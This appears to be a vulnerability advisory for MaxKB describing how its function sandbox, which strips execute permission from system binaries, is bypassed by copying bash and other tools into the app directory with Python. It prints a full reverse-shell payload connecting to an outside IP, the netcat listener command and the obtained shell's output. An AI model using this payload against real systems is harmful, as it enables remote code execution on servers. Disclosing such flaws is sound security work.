chmod g-x /usr/local/bin/* /usr/bin/* /bin/* /usr/sbin/* /sbin/* /usr/lib/postgresql/15/bin/* && \
chmod g+x /usr/local/bin/python* && \
chmod g-rx /etc
Sandbox principle: Limit arbitrary command execution by removing binary file execution permissions.
Bypass: Only restricts the execution permissions of files in a specific directory. Therefore, we can use the shutil.copy2 method in Python to copy the command you want to execute to the executable directory. This bypasses directory restrictions and reverse shell.
Step 2: Enter the POC for the reverse shell in the function create and execute the debugging:
import shutil
import os
shutil.copy2('/bin/bash', '/opt/maxkb/app/')
shutil.copy2('/bin/chmod', '/opt/maxkb/app/')
shutil.copy2('/bin/ls', '/opt/maxkb/app/')
shutil.copy2('/bin/whoami', '/opt/maxkb/app/')
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("198.168.1.101",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/opt/maxkb/app/bash","-i"]);
>nc -lvvp 4444
listening on [any] 4444 ...
bash: cannot set terminal process group (642): Inappropriate ioctl for device
bash: no job control in this shell
bash: /etc/bash.bashrc: Permission denied
bash-5.1$/opt/maxkb/app/ls -la
/opt/maxkb/app/ls -la
total 1
drwxrwxrwx 1 0 0 512 Jun 27 10:51 .
drwxrwxrwx 1 0 0 512 Jun 27 11:18 ..
drwxrwxrwx 1 0 0 512 May 22 22:36 application
drwxrwxrwx 1 0 0 512 May 22 22:36 common
drwxrwxrwx 1 0 0 512 May 22 22:36 dataset
drwxrwxrwx 1 0 0 512 May 22 22:36 embedding
drwxrwxrwx 1 0 0 512 May 22 22:36 function_lib
-rwxrwxrwx 1 0 0 0 May 22 22:31 __init__.py
drwxrwxrwx 1 0 0 512 May 22 22:31 locales
-rwxrwxrwx 1 0 0 664 May 22 22:31 manage.py
drwxrwxrwx 1 0 0 512 May 22 22:36 ops
drwxrwxrwx 1 0 0 512 Jun 25 15:40 __pycache__
drwxrwxrwx 1 0 0 512 May 22 22:36 setting
drwxrwxrwx 1 0 0 512 May 22 22:36 smartdoc
drwxrwxrwx 1 0 0 512 Jun 25 15:40 static
drwxrwxrwx 1 0 0 512 May 22 22:36 users
happyhacking-k Reporter
wukong320 Reporter
Summary
The sandbox design rules for Maxkb are as follows:
Sandbox principle: Limit arbitrary command execution by removing binary file execution permissions.
Bypass: Only restricts the execution permissions of files in a specific directory. Therefore, we can use the
shutil.copy2method in Python to copy the command you want to execute to the executable directory. This bypasses directory restrictions and reverse shell.Details
The steps for using are as follows:
Step 1: The attacker listens locally: nc -lvvp 4444
Step 2: Enter the POC for the reverse shell in the function create and execute the debugging:
Step 3: Obtain a reverse shell and execute the copied command
Impact
RCE